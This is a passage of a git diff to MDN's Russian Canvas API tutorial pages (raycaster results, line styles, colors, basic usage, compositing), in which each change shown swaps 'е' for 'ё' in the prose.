изменения, которые нужно было внести, чтобы все работало хорошо.</p> <h2 id="Results" name="Results">Результаты</h2> -<p>Холст в Safari 2.0.1 выполнен на удивление хорошо. С коэффициентом блочности, увеличенным до отображения кусочка шириной 8 пикселей, я могу запустить окно 320 x 240 при 24 fps на моем Apple mini. Firefox 1.5 Beta 1 еще быстрее; я могу запускать 320 x 240 при 24 fps с 4 пиксельным кусочком. Не совсем новый член семейства программного обеспечения ID, но довольно приличный, учитывая, что это полностью интерпретируемая среда, и мне не нужно было беспокоиться о выделении памяти или видеорежимах или кодировании внутренних процедур в ассемблере или чем-то еще. Код получился очень эффективным, он использует поиск по массиву предварительно вычисленных значений, но я не гуру оптимизации, поэтому все, вероятно, можно было бы написать быстрее.</p> +<p>Холст в Safari 2.0.1 выполнен на удивление хорошо. С коэффициентом блочности, увеличенным до отображения кусочка шириной 8 пикселей, я могу запустить окно 320 x 240 при 24 fps на моем Apple mini. Firefox 1.5 Beta 1 ещё быстрее; я могу запускать 320 x 240 при 24 fps с 4 пиксельным кусочком. Не совсем новый член семейства программного обеспечения ID, но довольно приличный, учитывая, что это полностью интерпретируемая среда, и мне не нужно было беспокоиться о выделении памяти или видеорежимах или кодировании внутренних процедур в ассемблере или чем-то ещё. Код получился очень эффективным, он использует поиск по массиву предварительно вычисленных значений, но я не гуру оптимизации, поэтому все, вероятно, можно было бы написать быстрее.</p> <p>Кроме того, он оставляет желать лучшего с точки зрения попыток быть игровым движком—нет текстур стен, нет спрайтов, нет дверей, даже нет телепортов, чтобы добраться до другого уровня. Но я уверен, что все эти вещи могут быть добавлены, через некоторое время. Canvas API поддерживает пиксельное копирование изображений, поэтому текстуры могут быть добавлены. Я оставлю это для другой статьи, возможно, от другого человека. =)</p> diff --git a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html index a1b7b04467..dddee8da38 100644 --- a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html +++ b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html @@ -364,7 +364,7 @@ ball.draw(); <h2 id="Breakout(арканоид)">Breakout(арканоид)</h2> -<p>В этой короткой главе описаны некоторые приемы создания продвинутой анимации. Как насчет того, что бы добавить доску, кирпичи и превратить это демо в игру Breakout(в Росси более известный клон этой игры - арканоид)? Посетите <a href="/en-US/docs/Games">Game development</a> чтобы узнать больше об играх.</p> +<p>В этой короткой главе описаны некоторые приёмы создания продвинутой анимации. Как насчёт того, что бы добавить доску, кирпичи и превратить это демо в игру Breakout(в Росси более известный клон этой игры - арканоид)? Посетите <a href="/en-US/docs/Games">Game development</a> чтобы узнать больше об играх.</p> <h2 id="Смотрите_так_же">Смотрите так же</h2> diff --git a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html index 7eea729bc2..9a750e66cc 100644 --- a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html +++ b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html @@ -21,7 +21,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Применение_стилей_и_ <dd>Устанавливает стиль контура фигуры. </dd> </dl> -<p><em><code>color </code></em>может быть цветом, (<code>строка, представленная в</code> CSS {{cssxref("<color>")}}), градиентом или паттерном. Градиенты и паттерны мы рассмотрим позже. По умолчанию цвет фона и контура — черный (значение CSS цвета <code>#000000</code>).</p> +<p><em><code>color </code></em>может быть цветом, (<code>строка, представленная в</code> CSS {{cssxref("<color>")}}), градиентом или паттерном. Градиенты и паттерны мы рассмотрим позже. По умолчанию цвет фона и контура — чёрный (значение CSS цвета <code>#000000</code>).</p> <div class="note"> <p><strong>На заметку:</strong> Когда вы устанавливаете значения <code>strokeStyle</code> и/или <code>fillStyle</code>, то новое значение становится стандартным для всех фигур, которые будут нарисованы с этого момента. Когда вам нужен другой цвет, вы должны перезаписать значение в <code>fillStyle</code> или в <code>strokeStyle</code> для каждой фигуры.</p> @@ -39,7 +39,7 @@ ctx.fillStyle = "rgba(255,165,0,1)"; <h3 id="Пример_fillStyle">Пример <code>fillStyle</code></h3> -<p>В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные <code>i</code> и <code>j</code> для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зеленые значения. Синий канал представляет собой фиксированное значение. Путем изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.</p> +<p>В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные <code>i</code> и <code>j</code> для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зелёные значения. Синий канал представляет собой фиксированное значение. Путём изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.</p> <pre class="brush: js;highlight[5,6] notranslate">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); @@ -113,7 +113,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <h3 id="Пример_globalAlpha">Пример <code>globalAlpha</code></h3> -<p>В данном примере мы нарисуем фон и четыре квадрата с различными цветами. Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство <code>globalAlpha</code> значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая еще больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счетчик итераций, при этом рисуя еще круги, мы сможем добиться исчезновение центра изображения.</p> +<p>В данном примере мы нарисуем фон и четыре квадрата с различными цветами. Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство <code>globalAlpha</code> значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая ещё больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счётчик итераций, при этом рисуя ещё круги, мы сможем добиться исчезновение центра изображения.</p> <pre class="brush: js;highlight[15] notranslate">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); @@ -195,22 +195,22 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <dt>{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}</dt> <dd>Устанавливает ограничение на митру, когда две линии соединяются под острым углом, чтобы вы могли контролировать её толщину.</dd> <dt>{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}</dt> - <dd>Возвращает текущий массив тире штриховки, содержащий четное число неотрицательных чисел.</dd> + <dd>Возвращает текущий массив тире штриховки, содержащий чётное число неотрицательных чисел.</dd> <dt>{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}</dt> <dd>Устанавливает текущий пунктир линии.</dd> <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}</dt> <dd>Указывает, где следует начинать тире массива в строке.</dd> </dl> -<p>Вы лучше поймете, что они делают, глядя на приведенные ниже примеры.</p> +<p>Вы лучше поймёте, что они делают, глядя на приведённые ниже примеры.</p> <h3 id="Пример_lineWidth">Пример <code>lineWidth</code></h3> -<p>Это свойство задает толщину текущей строки. Значения должны быть положительными. По умолчанию для этого значения установлено 1.0 единицы.</p> +<p>Это свойство задаёт толщину текущей строки. Значения должны быть положительными. По умолчанию для этого значения установлено 1.0 единицы.</p> -<p>Ширина линии - это толщина хода, центрированного по данному пути. Другими словами, область, которая нарисована, простирается до половины ширины линии по обе стороны пути. Поскольку координаты холста не напрямую ссылаются на пиксели, особое внимание следует уделять получению четких горизонтальных и вертикальных линий.</p> +<p>Ширина линии - это толщина хода, центрированного по данному пути. Другими словами, область, которая нарисована, простирается до половины ширины линии по обе стороны пути. Поскольку координаты холста не напрямую ссылаются на пиксели, особое внимание следует уделять получению чётких горизонтальных и вертикальных линий.</p> -<p>В приведенном ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечетной ширины не выглядят четкими из-за позиционирования пути.</p> +<p>В приведённом ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечётной ширины не выглядят чёткими из-за позиционирования пути.</p> <pre class="brush: js;highlight[4] notranslate">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); @@ -232,7 +232,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>{{EmbedLiveSample("Пример_lineWidth", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p> -<p>Получение четких строк требует понимания путей сглаживания. На рисунках ниже представлена сетка координат холста. Квадраты между сетками являются фактическими экранными пикселями. В первом изображении сетки ниже прямоугольник от (2, 1) до (5, 5) заполняется. Вся область между ними (светло-красный) падает на границы пикселей, поэтому полученный заполненный прямоугольник будет иметь четкие края.</p> +<p>Получение чётких строк требует понимания путей сглаживания. На рисунках ниже представлена сетка координат холста. Квадраты между сетками являются фактическими экранными пикселями. В первом изображении сетки ниже прямоугольник от (2, 1) до (5, 5) заполняется. Вся область между ними (светло-красный) падает на границы пикселей, поэтому полученный заполненный прямоугольник будет иметь чёткие края.</p> <p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/201/Canvas-grid.png"></p> @@ -241,14 +241,14 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>Чтобы исправить это, вы должны быть более точными при создании пути. Зная, что линия шириной <code>1.0</code> занимает половину единицы по обе стороны пути, создание пути от (3.5, 1) до (3.5, 5) приведёт к ситуации в третьем изображении - ширина линии <code>1.0</code> закончится верно, точно заполняя вертикальную линию с одним пикселем.</p> <div class="note"> -<p><strong>Примечание:</strong> Имейте в виду, что в нашем примере с вертикальной линией позиция Y по-прежнему ссылается на целочисленную позицию сетки - иначе мы увидели бы пиксели с половинным охватом в конечных точках (также обратите внимание, что это поведение зависит от текущего стиля <code>lineCap</code>, значение по умолчанию - <code>butt</code>; вы можете вычислить согласованные штрихи с полупиксельными координатами для линий с нечетной шириной, установив стиль <code>lineCap</code> в <code>square</code>, чтобы внешняя граница вокруг конечной точки линии автоматически расширялась, охватывая весь пиксель в точку).</p> +<p><strong>Примечание:</strong> Имейте в виду, что в нашем примере с вертикальной линией позиция Y по-прежнему ссылается на целочисленную позицию сетки - иначе мы увидели бы пиксели с половинным охватом в конечных точках (также обратите внимание, что это поведение зависит от текущего стиля <code>lineCap</code>, значение по умолчанию - <code>butt</code>; вы можете вычислить согласованные штрихи с полупиксельными координатами для линий с нечётной шириной, установив стиль <code>lineCap</code> в <code>square</code>, чтобы внешняя граница вокруг конечной точки линии автоматически расширялась, охватывая весь пиксель в точку).</p> -<p>Также обратите внимание, что затронуты только начальные и конечные точки пути: если путь закрыт с помощью <code>closePath()</code>, - нет начальной и конечной точки; вместо этого все конечные точки в пути подключены к их прикрепленному предыдущему и следующему сегментам и при текущей настройке стиля <code>lineJoin</code> в значении по умолчанию - <code>miter</code>, с эффектом автоматического расширения внешних границ подключенных сегментов до их точки пересечения - обработанный ход будет точно покрывать полные пиксели с центром в каждой конечной точке, если эти связанные сегменты горизонтальны и/или вертикальны). См. следующие два раздела, демонстрирующие эти дополнительные стили.</p> +<p>Также обратите внимание, что затронуты только начальные и конечные точки пути: если путь закрыт с помощью <code>closePath()</code>, - нет начальной и конечной точки; вместо этого все конечные точки в пути подключены к их прикреплённому предыдущему и следующему сегментам и при текущей настройке стиля <code>lineJoin</code> в значении по умолчанию - <code>miter</code>, с эффектом автоматического расширения внешних границ подключённых сегментов до их точки пересечения - обработанный ход будет точно покрывать полные пиксели с центром в каждой конечной точке, если эти связанные сегменты горизонтальны и/или вертикальны). См. следующие два раздела, демонстрирующие эти дополнительные стили.</p> </div> -<p>Для линий с четной шириной каждая половина заканчивается как целое количество пикселей, поэтому вам нужен путь, который находится между пикселями (то есть (3,1) - (3,5)), вместо середины пикселей.</p> +<p>Для линий с чётной шириной каждая половина заканчивается как целое количество пикселей, поэтому вам нужен путь, который находится между пикселями (то есть (3,1) - (3,5)), вместо середины пикселей.</p> -<p>Хотя это и необычно, когда изначально работаешь с масштабируемой 2D-графикой, обращая внимание на сетку пикселей и положение путей, но вы убедитесь, что ваши рисунки будут выглядеть правильно, независимо от масштабирования или любых других преобразований. Вертикальная линия ширины 1,0, построенная таким образом, станет четкой 2-пиксельной линией при увеличении на 2 и появится в правильном положении.</p> +<p>Хотя это и необычно, когда изначально работаешь с масштабируемой 2D-графикой, обращая внимание на сетку пикселей и положение путей, но вы убедитесь, что ваши рисунки будут выглядеть правильно, независимо от масштабирования или любых других преобразований. Вертикальная линия ширины 1,0, построенная таким образом, станет чёткой 2-пиксельной линией при увеличении на 2 и появится в правильном положении.</p> <h3 id="Пример_lineCap">Пример <code>lineCap</code></h3> @@ -265,7 +265,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <dd>Концы линий описаны квадратом с равной шириной и половиной высоты толщины линии.</dd> </dl> -<p>В этом примере мы проведем три строки, каждая из которых имеет другое значение для свойства <code>lineCap</code>. Я также добавил два руководства, чтобы увидеть точные различия между ними. Каждая из этих линий начинается и заканчивается именно на этих направляющих.</p> +<p>В этом примере мы проведём три строки, каждая из которых имеет другое значение для свойства <code>lineCap</code>. Я также добавил два руководства, чтобы увидеть точные различия между ними. Каждая из этих линий начинается и заканчивается именно на этих направляющих.</p> <p>Строка слева использует <code>butt</code> опцию по умолчанию. Вы заметите, что она полностью очищена от направляющих. Второй вариант - <code>round</code> опция. Это добавляет полукруг к концу, который имеет радиус, равный половине ширины линии. Строка справа использует <code>square</code> опцию. Это добавляет поле с равной шириной и половиной высоты толщины линии.</p> @@ -313,14 +313,14 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <dl> <dt><code>round</code></dt> - <dd>Радиус заполняемой части для скругленных углов равен половине ширины линии. центр этого радиуса совпадает с концами подключенных сегментов.</dd> + <dd>Радиус заполняемой части для скруглённых углов равен половине ширины линии. центр этого радиуса совпадает с концами подключённых сегментов.</dd> <dt><code>bevel</code></dt> - <dd>Заполняет дополнительную треугольную область между общей конечной точкой подключенных сегментов и отдельными внешними прямоугольными углами каждого сегмента. </dd> + <dd>Заполняет дополнительную треугольную область между общей конечной точкой подключённых сегментов и отдельными внешними прямоугольными углами каждого сегмента. </dd> <dt><code>miter</code></dt> - <dd>Подключенные сегменты соединяются путем расширения их внешних краев для соединения в одной точке с эффектом заполнения дополнительной области в форме пастилки. Эта настройка выполняется с помощью свойства <code>miterLimit</code>, которое объясняется ниже.</dd> + <dd>Подключённые сегменты соединяются путём расширения их внешних краёв для соединения в одной точке с эффектом заполнения дополнительной области в форме пастилки. Эта настройка выполняется с помощью свойства <code>miterLimit</code>, которое объясняется ниже.</dd> </dl> -<p>В приведенном ниже примере показаны три разных пути, демонстрирующие каждый из этих трех свойств <code>lineJoin</code>; результат - выше. </p> +<p>В приведённом ниже примере показаны три разных пути, демонстрирующие каждый из этих трёх свойств <code>lineJoin</code>; результат - выше. </p> <pre class="brush: js;highlight[6] notranslate">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); @@ -351,9 +351,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>Как вы видели в предыдущем примере, при объединении двух строк с опцией <code>miter</code> внешние края двух соединительных линий расширены до точки, где они встречаются. Для линий, которые находятся под большими углами друг с другом, эта точка находится недалеко от внутренней точки соединения. Однако, поскольку углы между каждой линией уменьшаются, расстояние (длина меча) между этими точками увеличивается экспоненциально.</p> -<p>Свойство <code>miterLimit</code> определяет, как далеко можно установить внешнюю точку соединения из внутренней точки подключения. Если две линии превышают это значение, вместо этого получается привязка конуса. Обратите внимание, что максимальная длина митра является произведением ширины линии, измеренной в текущей системе координат, значением этого свойства <code>miterLimit</code> (значение по умолчанию 10,0 в HTML {{HTMLElement("canvas")}}), поэтому <code>miterLimit</code> может устанавливаться независимо от текущей шкалы дисплея или любых аффинных преобразований путей: она влияет только на эффективно визуализированную форму ребер линии.</p> +<p>Свойство <code>miterLimit</code> определяет, как далеко можно установить внешнюю точку соединения из внутренней точки подключения. Если две линии превышают это значение, вместо этого получается привязка конуса. Обратите внимание, что максимальная длина митра является произведением ширины линии, измеренной в текущей системе координат, значением этого свойства <code>miterLimit</code> (значение по умолчанию 10,0 в HTML {{HTMLElement("canvas")}}), поэтому <code>miterLimit</code> может устанавливаться независимо от текущей шкалы дисплея или любых аффинных преобразований путей: она влияет только на эффективно визуализированную форму рёбер линии.</p> -<p>Точнее, предел митры является максимально допустимым отношением длины расширения (в холсте HTML он измеряется между внешним углом соединенных краев линии и общей конечной точкой соединительных сегментов, указанными на пути), до половины ширины линии. Его можно равнозначно определить как максимально допустимое отношение расстояния между внутренней и внешней точками перехода краев к общей ширине линии. Затем он равен косекансу с половиной минимального внутреннего угла соединительных сегментов, ниже которого не будет создано ни одного соединения митра, а только скос соединяется:</p> +<p>Точнее, предел митры является максимально допустимым отношением длины расширения (в холсте HTML он измеряется между внешним углом соединённых краёв линии и общей конечной точкой соединительных сегментов, указанными на пути), до половины ширины линии. Его можно равнозначно определить как максимально допустимое отношение расстояния между внутренней и внешней точками перехода краёв к общей ширине линии. Затем он равен косекансу с половиной минимального внутреннего угла соединительных сегментов, ниже которого не будет создано ни одного соединения митра, а только скос соединяется:</p> <ul> <li><code>miterLimit</code> = <strong>max</strong> <code>miterLength</code> / <code>lineWidth</code> = 1 / <strong>sin</strong> ( <strong>min</strong> <em>θ</em> / 2 )</li> @@ -365,7 +365,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>Вот небольшая демонстрация, в которой вы можете динамически установить <code>miterLimit</code> и посмотреть, как это влияет на фигуры на холсте. Синие линии показывают, где начальная и конечная точки для каждой из линий в шаблоне зигзага.</p> -<p>Если вы укажете в этой демонстрации значение <code>miterLimit</code> ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой <code>miterLimit</code> выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удаленной от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).</p> +<p>Если вы укажете в этой демонстрации значение <code>miterLimit</code> ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой <code>miterLimit</code> выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удалённой от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).</p> <pre class="brush: js;highlight[18] notranslate">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); @@ -425,7 +425,7 @@ draw();</pre> <p>Метод setLineDash и свойство lineDashOffset задают шаблон штрихов для линий. Метод setLineDash принимает список чисел, который определяет расстояния для попеременного рисования линии и разрыва, а свойство lineDashOffset устанавливает смещение, с которого начинается шаблон.</p> -<p>В этом примере мы создаем эффект походных муравьев. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.</p> +<p>В этом примере мы создаём эффект походных муравьёв. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.</p> <div class="hidden"> <pre class="brush: html notranslate"><canvas id="canvas" width="110" height="110"></canvas></pre> @@ -584,7 +584,7 @@ lineargradient.addColorStop(1, 'black'); <dl> <dt>{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}</dt> - <dd>Создает и возвращает новый canvas объект - шаблон (pattern). <code>image</code> - {{domxref("CanvasImageSource")}} (то есть {{domxref ("HTMLImageElement")}}, другой холст, элемент {{HTMLElement ("video")}} или подобный объект. <code>type</code> - строка, указывающая, как использовать <code>image</code>.</dd> + <dd>Создаёт и возвращает новый canvas объект - шаблон (pattern). <code>image</code> - {{domxref("CanvasImageSource")}} (то есть {{domxref ("HTMLImageElement")}}, другой холст, элемент {{HTMLElement ("video")}} или подобный объект. <code>type</code> - строка, указывающая, как использовать <code>image</code>.</dd> </dl> <p>Тип указывает, как использовать image для создания шаблона и должен быть одним из следующих значений:</p> diff --git a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html index 78937ccfac..e4756dc73d 100644 --- a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html +++ b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage --- <div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</div> -<p class="summary">Давайте начнем этот урок с изучения элемента {{HTMLElement("canvas")}} как такового. В конце этой страницы Вы узнаете как устанавливать canvas 2D context и нарисуете первый пример в вашем браузере.</p> +<p class="summary">Давайте начнём этот урок с изучения элемента {{HTMLElement("canvas")}} как такового. В конце этой страницы Вы узнаете как устанавливать canvas 2D context и нарисуете первый пример в вашем браузере.</p> <h2 id="Элемент_<canvas>">Элемент <code><canvas></code></h2> @@ -17,10 +17,10 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage <p>Он выглядит как элемент <code><img></code>, но его отличие в том, что он не имеет атрибутов <code>src</code> и <code>alt</code>. Элемент <code><canvas></code> имеет только два атрибута - <strong>ширину</strong> и <strong>высоту</strong>. Оба они не обязательны и могут быть выставлены с использованием свойств <a href="/en-US/docs/DOM" rel="internal" title="en/DOM">DOM</a>. Если атрибуты высоты и ширины не установлены, canvas будет по умолчанию шириной <strong>300 пикселей</strong> и в высоту <strong>150 пикселей</strong>. Вы так же можете выставить размеры произвольно в <a href="/en-US/docs/Web/CSS" rel="internal" title="en/CSS">CSS</a>, но во время рендеринга изображение будет масштабироваться в соответствии с его размером и ориентацией.</p> <div class="note"> -<p><strong>Примечание:</strong> Если вид вашего изображения кажется вам искаженным, попробуйте указать атрибуты ширины и высоты в явном виде в атрибутах <canvas> , а не с помощью CSS.</p> +<p><strong>Примечание:</strong> Если вид вашего изображения кажется вам искажённым, попробуйте указать атрибуты ширины и высоты в явном виде в атрибутах <canvas> , а не с помощью CSS.</p> </div> -<p>Атрибут id не специфичен для элемента <code><canvas>,</code> но он может быть применен по умолчанию в атрибутах HTML, так как он может быть использован (почти) для любого элемента HTML (так же как класс). Это всегда отличная идея использовать <code>id</code>, так как это позволяет намного проще идентифицировать наш элемент в сценарии.</p> +<p>Атрибут id не специфичен для элемента <code><canvas>,</code> но он может быть применён по умолчанию в атрибутах HTML, так как он может быть использован (почти) для любого элемента HTML (так же как класс). Это всегда отличная идея использовать <code>id</code>, так как это позволяет намного проще идентифицировать наш элемент в сценарии.</p> <p>Элемент <code><canvas></code> может быть стилизован также, как любое изображение (margin, border, background, и т. д.). Эти правила, как бы то ни было, фактически не влияют на отрисовку в canvas. Мы увидим как это сделано позже в этом руководстве. Когда стили не указаны, canvas будет по умолчанию абсолютно прозрачным.</p> @@ -52,9 +52,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage <h2 id="Рендеринг_содержимого_контекста">Рендеринг содержимого (контекста)</h2> -<p>Элемент {{HTMLElement("canvas")}} в документе создается с фиксированным размером элемента для рисования, который может иметь один или несколько контекстов для рендеринга, создавая и манипулируя содержимым для показа. В данном руководстве мы сфокусируемся на 2D рендеринге. Другие контексты могут предоставлять разные типы рендеринга, к примеру WebGl использует 3D контекст основанный на <a href="http://www.khronos.org/opengles/">OpenGL ES</a>.</p> +<p>Элемент {{HTMLElement("canvas")}} в документе создаётся с фиксированным размером элемента для рисования, который может иметь один или несколько контекстов для рендеринга, создавая и манипулируя содержимым для показа. В данном руководстве мы сфокусируемся на 2D рендеринге. Другие контексты могут предоставлять разные типы рендеринга, к примеру WebGl использует 3D контекст основанный на <a href="http://www.khronos.org/opengles/">OpenGL ES</a>.</p> -<p>Холст изначально пустой и прозрачный. Первым делом скрипт получает доступ к контексту и отрисовывает его. Элемент {{HTMLElement("canvas")}} имеет <a href="/en-US/docs/Web/API/HTMLCanvasElement#Method">метод</a> <code>getContext()</code>, используется для получения контекста визуализации и ее функции рисования. <code>getContext()</code> принимает один параметр, тип контекста. Для 2D графики, которая охвачена этим руководством будем использовать метку "2d".</p> +<p>Холст изначально пустой и прозрачный. Первым делом скрипт получает доступ к контексту и отрисовывает его. Элемент {{HTMLElement("canvas")}} имеет <a href="/en-US/docs/Web/API/HTMLCanvasElement#Method">метод</a> <code>getContext()</code>, используется для получения контекста визуализации и её функции рисования. <code>getContext()</code> принимает один параметр, тип контекста. Для 2D графики, которая охвачена этим руководством будем использовать метку "2d".</p> <pre class="brush: js notranslate">var canvas = document.getElementById('tutorial'); var ctx = canvas.getContext('2d'); @@ -109,7 +109,7 @@ if (canvas.getContext){ </html> </pre> -<p>Скрипт вызывает функцию draw(), которая выполнится, когда страница закончит загрузку. Это делается путем события {{event("load")}} в документе. Эта функция может быть вызвана как единожды, так и с помощью данных методов {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, или любым другим обработчиком события, когда страница будет загружена.</p> +<p>Скрипт вызывает функцию draw(), которая выполнится, когда страница закончит загрузку. Это делается путём события {{event("load")}} в документе. Эта функция может быть вызвана как единожды, так и с помощью данных методов {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, или любым другим обработчиком события, когда страница будет загружена.</p> <p>Вот как шаблон будет выглядеть в действии.</p> diff --git a/files/ru/web/api/canvas_api/tutorial/compositing/index.html b/files/ru/web/api/canvas_api/tutorial/compositing/index.html index bac6986141..4e4df0bef6 100644 --- a/files/ru/web/api/canvas_api/tutorial/compositing/index.html +++ b/files/ru/web/api/canvas_api/tutorial/compositing/index.html @@ -14,11 +14,11 @@ original_slug: Web/API/Canvas_API/Tutorial/Композиции <h2 id="globalCompositeOperation" name="globalCompositeOperation"><code>globalCompositeOperation</code></h2> -<p>Мы можем не только рисовать новые фигуры за существующие формы, но мы также можем использовать его, чтобы замаскировать определенные участки, очистить разделы от холста (не ограничивается прямоугольниками, как{{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} method does) и другое.</p> +<p>Мы можем не только рисовать новые фигуры за существующие формы, но мы также можем использовать его, чтобы замаскировать определённые участки, очистить разделы от холста (не ограничивается прямоугольниками, как{{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} method does) и другое.</p> <dl> <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation = type")}}</dt> - <dd>Это задает Тип операции композиции для применения при разработке новых форм, где Тип является строкой, идентифицирующей, какие из двенадцати операций композитинг в использовании.</dd> + <dd>Это задаёт Тип операции композиции для применения при разработке новых форм, где Тип является строкой, идентифицирующей, какие из двенадцати операций композитинг в использовании.</dd> </dl> <p>См. <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing/Example">примеры компоновки</a> кода из следующих примеров.</p> @@ -27,9 +27,9 @@ original_slug: Web/API/Canvas_API/Tutorial/Композиции <h2 id="Clipping_paths" name="Clipping_paths">Обрезка контуров</h2> -<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;">Отсеченный контур похож на обычную форму холста, но он действует как маска, чтобы скрыть нежелательные части фигур. Это визуализируется на изображении справа. Форма красной звезды - наша отправочная дорожка. Все, что выходит за пределы этого пути, не будет нарисовано на холсте.</p> +<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/209/Canvas_clipping_path.png" style="float: right;">Отсечённый контур похож на обычную форму холста, но он действует как маска, чтобы скрыть нежелательные части фигур. Это визуализируется на изображении справа. Форма красной звезды - наша отправочная дорожка. Все, что выходит за пределы этого пути, не будет нарисовано на холсте.</p> -<p>Если мы сравниваем отсеченный контур со свойством <code>globalCompositeOperation</code> на изображении, мы видим два режима композитинга, которые достигают более или менее того же эффекта в исходном и исходном состоянии. Наиболее важные различия между ними заключаются в том, что отсечение контура фактически никогда не обращается к холсту и контур обрезки никогда не влияет добавление новых форм. Это делает обрезку контура идеальным для рисования нескольких фигур в ограниченной области.</p> +<p>Если мы сравниваем отсечённый контур со свойством <code>globalCompositeOperation</code> на изображении, мы видим два режима композитинга, которые достигают более или менее того же эффекта в исходном и исходном состоянии. Наиболее важные различия между ними заключаются в том, что отсечение контура фактически никогда не обращается к холсту и контур обрезки никогда не влияет добавление новых форм. Это делает обрезку контура идеальным для рисования нескольких фигур в ограниченной области.</p> <p>В главе о <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes" title="Web/Guide/HTML/Canvas_tutorial/Drawing_shapes#Drawing_paths">рисовании форм</a>, я назвал только <code>stroke()</code> и <code>fill()</code> методы, но есть третий способ можно использовать с контурами, так называемый <code>clip()</code>.</p> @@ -44,7 +44,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Композиции <h3 id="A_clip_example" name="A_clip_example">Пример обрезки</h3> -<p>В этом примере мы будем использовать круговую обрезку 